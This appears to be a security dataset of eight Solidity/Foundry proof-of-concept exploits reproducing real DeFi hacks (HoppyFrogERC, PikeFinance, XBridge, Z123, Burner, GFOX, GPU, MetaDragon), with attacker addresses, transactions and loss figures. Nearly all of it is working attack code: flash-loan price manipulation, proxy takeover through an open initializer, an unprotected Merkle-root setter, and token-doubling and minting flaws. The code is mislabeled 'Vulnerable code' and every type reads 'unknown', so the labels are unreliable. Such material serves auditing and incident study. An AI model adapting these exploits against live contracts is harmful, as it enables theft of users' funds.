Farseen0/scar-pairs huggingface dataset:
HIGH severity: HoppyFrogERC exploit (unknown). @KeyInfo -- Total Lost : ~0.3 ETH TX : https://app.blocksec.com/explorer/tx/eth/0x6fb7f8e9eb09d6ae17dbe82b2b42f46f64fb9c3197438b68ecf03e832d5fc791 Attacker : https://etherscan.io/address/0x676c3262e8f0fba0031a93ea74ff801b99ac177b Attack Contract : https://etherscan.io/address/0xc976ed4b25e1e7019ff34

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~0.3 ETH
// TX : https://app.blocksec.com/explorer/tx/eth/0x6fb7f8e9eb09d6ae17dbe82b2b42f46f64fb9c3197438b68ecf03e832d5fc791
// Attacker : https://etherscan.io/address/0x676c3262e8f0fba0031a93ea74ff801b99ac177b
// Attack Contract : https://etherscan.io/address/0xc976ed4b25e1e7019ff34fb54f4e63b1550b70c3
// GUY : https://x.com/ChainAegis/status/1775351437410918420

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Uni_Pair_V3 Pair = Uni_Pair_V3(0xaA6f337f16E6658d9c9599c967D3126051b6c726);
    IERC20 Hoppy = IERC20(0xE5c6F5fEF89B64f36BfcCb063962820136bAc42F);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    function setUp() external {
        cheats.createSelectFork("mainnet", 19_570_744);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), 18);
        uint256 amount = Hoppy.balanceOf(address(Pair));
        Pair.flash(address(this), 0, amount, "123");
        emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);
    }

    function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
        Hoppy.approve(address(Router), type(uint256).max);
        swap_token_to_token(address(Hoppy), address(WETH), 3_071_435_167_652_113_869_853);
        Hoppy.transfer(address(Hoppy), 206_900_000_001_000_000_000);
        swap_token_to_token(address(Hoppy), address(WETH), 4_206_900_000_000_000_000_000);
        swap_token_to_ExactToken(
            7_560_087_519_329_645_008_552, address(WETH), address(Hoppy), 3_907_363_705_363_283_233
        );
        Hoppy.transfer(address(msg.sender), 7_560_087_519_329_645_008_552);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }

    function swap_token_to_ExactToken(uint256 amountout, address a, address b, uint256 amountInMax) public payable {
        IERC20(a).approve(address(Router), amountInMax);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapTokensForExactTokens(amountout, amountInMax, path, address(this), block.timestamp + 120);
    }
}


Vulnerability type: unknown
HIGH severity: PikeFinance exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 1.4M Attacker : https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23 Attack Contract : https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd Vulnerable Contract : https://etherscan.io/address/0xfc7599cff

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";

// @KeyInfo - Total Lost : 1.4M
// Attacker : https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23
// Attack Contract : https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
// Vulnerable Contract : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063
// Attack Tx : https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :

interface IPikeFinanceProxy {
    function initialize(address, address, address, address, uint16, uint16) external;
    function upgradeToAndCall(address, bytes memory) external;
}

contract PikeFinance is Test {
    uint256 blocknumToForkFrom = 19_771_058;
    address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;

    function setUp() public {
        vm.deal(address(this), 0);
        vm.createSelectFork("mainnet", blocknumToForkFrom);
    }

    function testExploit() public {
        emit log_named_decimal_uint(" Attacker ETH Balance Before exploit", address(this).balance, 18);

        // Initialize proxy contract
        address _owner = address(this);
        address _WNativeAddress = address(this);
        address _uniswapHelperAddress = address(this);
        address _tokenAddress = address(this);
        uint16 _swapFee = 20;
        uint16 _withdrawFee = 20;
        IPikeFinanceProxy(PikeFinanceProxy).initialize(
            _owner, _WNativeAddress, _uniswapHelperAddress, _tokenAddress, _swapFee, _withdrawFee
        );

        // Upgrade proxy contract
        address newImplementation = address(this);
        bytes memory data = abi.encodeWithSignature("withdraw(address)", address(this));
        IPikeFinanceProxy(PikeFinanceProxy).upgradeToAndCall(newImplementation, data);

        // Log balances after exploit
        emit log_named_decimal_uint(" Attacker ETH Balance After exploit", address(this).balance, 18);
    }

    function withdraw(
        address addr
    ) external {
        (bool success,) = payable(addr).call{value: address(this).balance}("");
        require(success, "transfer failed");
    }

    function proxiableUUID() external pure returns (bytes32) {
        return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: XBridge exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens)) Attacker : https://etherscan.io/address/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7 Vulnerable Contract : https:/

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens))
// Attacker : https://etherscan.io/address/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7
// Vulnerable Contract : https://etherscan.io/address/0x354cca2f55dde182d36fe34d673430e226a3cb8c#code
// Attack Tx Step1(deposit) : https://etherscan.io/tx/0xe09d350d8574ac1728ab5797e3aa46841f6c97239940db010943f23ad4acf7ae
// Attack Tx Step2(withdrawToken): https://etherscan.io/tx/0x903d88a92cbc0165a7f662305ac1bff97430dbcccaa0fe71e101e18aa9109c92

// @Analysis
// https://twitter.com/CyversAlerts/status/1783045506471432610

interface IXbridge {
    struct tokenInfo {
        address token;
        uint256 chain;
    }

    function listToken(
        tokenInfo memory baseToken,
        tokenInfo memory correspondingToken,
        bool _isMintable
    ) external payable;
    function withdrawTokens(address token, address receiver, uint256 amount) external;
}

contract ContractTest is Test {
    IERC20 STC = IERC20(0x19Ae49B9F38dD836317363839A5f6bfBFA7e319A);
    IXbridge xbridge = IXbridge(0x47Ddb6A433B76117a98FBeAb5320D8b67D468e31);

    function setUp() public {
        vm.createSelectFork("mainnet", 19_723_701 - 1);
    }

    function testExploit() public {
        // First TX
        deal(address(this), 0.15 ether);
        emit log_named_decimal_uint("Exploiter STC balance before attack", STC.balanceOf(address(this)), 9);

        IXbridge.tokenInfo memory base = IXbridge.tokenInfo(address(STC), 85_936);
        IXbridge.tokenInfo memory corr = IXbridge.tokenInfo(address(STC), 95_838);

        xbridge.listToken{value: 0.15 ether}(base, corr, false);

        xbridge.withdrawTokens(address(STC), address(this), STC.balanceOf(address(xbridge)));

        emit log_named_decimal_uint("Exploiter STC balance after attack", STC.balanceOf(address(this)), 9);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Z123 exploit (unknown). @KeyInfo - Total Lost : ≈135k Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32 Attack Contract : https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168 Vulnerable Contract : https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af9760 Attack Tx : https://bscscan.com/tx

Vulnerable code:
import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ≈135k
// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32
// Attack Contract : https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168
// Vulnerable Contract : https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af9760
// Attack Tx : https://bscscan.com/tx/0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27

// @Analysis
//
// First, tokens are exchanged from a pool with normal ratios using USD.
// Then, each subsequent swap burns liquidity from the pool, resulting in disproportionate token ratios that can be exploited for arbitrage.

contract Z123_exp is Test {
    IERC20 z123_ = IERC20(0xb000f121A173D7Dd638bb080fEe669a2F3Af9760);
    IPancakeV3Pool pancakeV3_ = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
    IERC20 bsc_usd_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IPancakeRouter router_ = IPancakeRouter(payable(address(0x901c0967DF19fA0Af98Fd958E70F30301d7580dD)));
    IPancakeRouter victim_ = IPancakeRouter(payable(address(0x6125c643a2D4A927ACd63C1185c6be902eFd5dC8)));

    function setUp() public {
        vm.createSelectFork("bsc", 38_077_210);

        bsc_usd_.approve(address(router_), type(uint256).max);
        z123_.approve(address(router_), type(uint256).max);

        bsc_usd_.approve(address(victim_), type(uint256).max);
        z123_.approve(address(victim_), type(uint256).max);
    }

    function testExploit() public {
        emit log_named_decimal_uint("befor ack usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals());
        pancakeV3_.flash(address(this), 18_000_000 ether, 0, "");
        emit log_named_decimal_uint(
            "after profit usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals()
        );
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
        address[] memory path = new address[](2);
        path[0] = address(bsc_usd_);
        path[1] = address(z123_);
        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            18_000_000 ether, 1, path, address(this), block.timestamp
        );

        console.log("==== start attack====");
        path[0] = address(z123_);
        path[1] = address(bsc_usd_);
        for (int256 i = 0; i < 79; i++) {
            victim_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                7125 ether, 1, path, address(this), block.timestamp
            );
        }
        console.log("==== end attack====");

        //repay
        bsc_usd_.transfer(address(pancakeV3_), 18_000_000 ether + fee0);
    }
}


Vulnerability type: unknown
HIGH severity: Burner exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 1.7eth Attack Tx : https://etherscan.io/tx/0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714 @Info

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : 1.7eth
// Attack Tx : https://etherscan.io/tx/0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714

// @Info
 

interface IBurner is IERC20 {
    function convertAndBurn(
        address[] calldata tokens
    ) external;
}

contract ContractTest is Test {
    IBurner burner_ = IBurner(0x4d4d05e1205e3A412ae1469C99e0d954113aa76F);
    IERC20 usdt_ = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IERC20 wbtc_ = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    IERC20 pnt_ = IERC20(0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD);
    IWETH weth_ = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));

    IUniswapV2Router router_ = IUniswapV2Router(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));

    function setUp() public {
        vm.createSelectFork("mainnet", 19_917_290);
        vm.deal(address(this), 0);
    }

    function testExploit() public {
        vm.deal(address(this), 70 ether); //simulation flashloan
        weth_.deposit{value: 70 ether}();
        weth_.approve(address(router_), type(uint256).max);
        pnt_.approve(address(router_), type(uint256).max);

        address[] memory path = new address[](2);
        path[0] = address(weth_);
        path[1] = address(pnt_);
        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            weth_.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );

        console.log("=== ACK START ===");
        address[] memory tokens = new address[](3);
        tokens[0] = address(0x0);
        tokens[1] = address(wbtc_);
        tokens[2] = address(usdt_);
        burner_.convertAndBurn(tokens);
        console.log("=== ACK END ===");

        path[0] = address(pnt_);
        path[1] = address(weth_);
        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            pnt_.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );

        weth_.transfer(address(0x01), 70 ether); // simulation repay flashloan
        emit log_named_decimal_uint("profit weth = ", weth_.balanceOf(address(this)), 18);
    }
}


Vulnerability type: unknown
HIGH severity: GFOX exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 330K Attacker : https://etherscan.io/address/0xFcE19F8f823759b5867ef9a5055A376f20c5E454 Attack Contract : https://etherscan.io/address/0x86C68d9e13d8d6a70b6423CEB2aEdB19b59F2AA5 Vulnerable Contract : https://etherscan.io/address/0x47c4b3144

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "./../interface.sol";
import "forge-std/console.sol";

// @KeyInfo - Total Lost : 330K
// Attacker : https://etherscan.io/address/0xFcE19F8f823759b5867ef9a5055A376f20c5E454
// Attack Contract : https://etherscan.io/address/0x86C68d9e13d8d6a70b6423CEB2aEdB19b59F2AA5
// Vulnerable Contract : https://etherscan.io/address/0x47c4b3144de2c87a458d510c0c0911d1903d1686
// Attack Tx : https://etherscan.io/tx/0x12fe79f1de8aed0ba947cec4dce5d33368d649903cb45a5d3e915cc459e751fc

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x47c4b3144de2c87a458d510c0c0911d1903d1686#code

// @Analysis
// Post-mortem : https://neptunemutual.com/blog/how-was-galaxy-fox-token-exploited/
// Twitter Guy : https://twitter.com/CertiKAlert/status/1788751142144401886
// Hacking God :
pragma solidity ^0.8.0;

interface IVictim {
    function setMerkleRoot(
        bytes32 _merkleRoot
    ) external;

    function claim(address to, uint256 amount, bytes32[] calldata proof) external;
}

contract GFOXExploit is Test {
    uint256 blocknumToForkFrom = 19_835_924;
    IERC20 private gfox;
    IVictim private victim;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        gfox = IERC20(0x8F1CecE048Cade6b8a05dFA2f90EE4025F4F2662);
        victim = IVictim(0x11A4a5733237082a6C08772927CE0a2B5f8A86B6);
    }

    modifier balanceLog() {
        emit log_named_decimal_uint("Attacker GFOX Balance Before exploit", getBalance(gfox), 18);
        _;
        emit log_named_decimal_uint("Attacker GFOX Balance After exploit", getBalance(gfox), 18);
    }

    function testExploit() external balanceLog {
        //implement exploit code here
        // the amount of GFOX to be transferred
        uint256 amount = 1_780_453_099_185_000_000_000_000_000;
        // set the merkle root
        bytes32 root = _merkleRoot(address(this), amount);
        victim.setMerkleRoot(root);
        // claim the GFOX
        victim.claim(address(this), amount, new bytes32[](0));
    }

    function _merkleRoot(address to, uint256 amount) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(to, amount));
    }

    function getBalance(
        IERC20 token
    ) private view returns (uint256) {
        return token.balanceOf(address(this));
    }
}


Vulnerability type: unknown
HIGH severity: GPU exploit (unknown). SPDX-License-Identifier: UNLICENSED Profit : ~32K USD TX : https://app.blocksec.com/explorer/tx/bsc/0x2c0ada695a507d7a03f4f308f545c7db4847b2b2c82de79e702d655d8c95dadb GUY : https://twitter.com/PeckShieldAlert/status/1788153869987611113 Vuln Contract: https://bscscan.com/address/0xf51cbf9f8e089ca48e4

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// Profit : ~32K USD
// TX : https://app.blocksec.com/explorer/tx/bsc/0x2c0ada695a507d7a03f4f308f545c7db4847b2b2c82de79e702d655d8c95dadb
// GUY : https://twitter.com/PeckShieldAlert/status/1788153869987611113
// Vuln Contract: https://bscscan.com/address/0xf51cbf9f8e089ca48e454eb79731037a405972ce

contract GPUExploit is Test {
    IERC20 private gpuToken;
    IERC20 private busd;
    IUniswapV2Pair private busdWbnbPair;
    IUniswapV2Router private router;

    modifier balanceLog() {
        emit log_named_decimal_uint("Attacker BUSD Balance Before exploit", getBalance(busd), 18);
        _;
        emit log_named_decimal_uint("Attacker BUSD Balance After exploit", getBalance(busd), 18);
    }

    function setUp() external {
        vm.createSelectFork("bsc", 38_539_572);
        gpuToken = IERC20(0xf51CBf9F8E089Ca48e454EB79731037a405972ce);
        busd = IERC20(0x55d398326f99059fF775485246999027B3197955);
        busdWbnbPair = IUniswapV2Pair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
        router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
        busd.approve(address(router), type(uint256).max);
        gpuToken.approve(address(router), type(uint256).max);
    }

    function testExploit() public balanceLog {
        busdWbnbPair.swap(22_600 ether, 0, address(this), "0x42");
    }

    function getPath(address token0, address token1) internal pure returns (address[] memory) {
        address[] memory path = new address[](2);
        path[0] = token0;
        path[1] = token1;
        return path;
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        //Buy tokens with flashloaned busd
        _swap(amount0, busd, gpuToken);

        //Self transfer tokens to double tokens on each transfer
        for (uint256 i = 0; i < 87; i++) {
            gpuToken.transfer(address(this), getBalance(gpuToken));
        }

        //Sell all tokens to busd
        _swap(type(uint112).max, gpuToken, busd);

        //Payback flashloan
        uint256 feeAmount = (amount0 * 3) / 1000 + 1;
        busd.transfer(address(busdWbnbPair), amount0 + feeAmount);
    }

    function _swap(uint256 amountIn, IERC20 tokenA, IERC20 tokenB) private {
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn, 0, getPath(address(tokenA), address(tokenB)), address(this), block.timestamp
        );
    }

    function getBalance(
        IERC20 token
    ) private view returns (uint256) {
        return token.balanceOf(address(this));
    }
}


Vulnerability type: unknown
HIGH severity: MetaDragon exploit (unknown). SPDX-License-Identifier: UNLICENSED Profit : ~180K USD TX : https://app.blocksec.com/explorer/tx/bsc/0x3ad998a01ad1f1bbe6dba6a08e658c1749dabfa4a07da20ded3c73bcd6970d20 GUY : https://x.com/Phalcon_xyz/status/1795746828064854497 Vuln Contract: https://bscscan.com/address/0xEF1f39d8391cdDcaee62b8b383cB

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// Profit : ~180K USD
// TX : https://app.blocksec.com/explorer/tx/bsc/0x3ad998a01ad1f1bbe6dba6a08e658c1749dabfa4a07da20ded3c73bcd6970d20
// GUY : https://x.com/Phalcon_xyz/status/1795746828064854497
// Vuln Contract: https://bscscan.com/address/0xEF1f39d8391cdDcaee62b8b383cB992F46a6ce4f

// Root Cause: ```if (to == address(this) || to == erc721) {transform(value);}``` allows for unrestricted minting

address constant meta_token = 0xEF1f39d8391cdDcaee62b8b383cB992F46a6ce4f;
address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;

contract MetaDragonTest is Test {
    uint256 endTokenId = 40;

    function setUp() external {
        vm.createSelectFork("bsc", 39_141_426);
    }

    function testExploit() public balance_log {
        for (uint256 i = 0; i < endTokenId; i++) {
            bytes memory calldatas = abi.encodeWithSignature("transfer(address,uint256)", meta_token, i);
            // don't check return value
            meta_token.call(calldatas);
        }
        emit log_named_uint("attacker MetaToken balance", IERC20(meta_token).balanceOf(address(this)));

        IERC20(meta_token).approve(router, type(uint256).max);
        address[] memory paths = new address[](2);
        paths[0] = meta_token;
        paths[1] = wbnb;

        IUniswapV2Router(payable(router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            IERC20(meta_token).balanceOf(address(this)), 0, paths, address(this), block.timestamp
        );
    }

    modifier balance_log() {
        emit log_named_uint("attacker weth balance before", IERC20(wbnb).balanceOf(address(this)));
        _;
        emit log_named_uint("attacker weth balance after", IERC20(wbnb).balanceOf(address(this)));
    }
}


Vulnerability type: unknown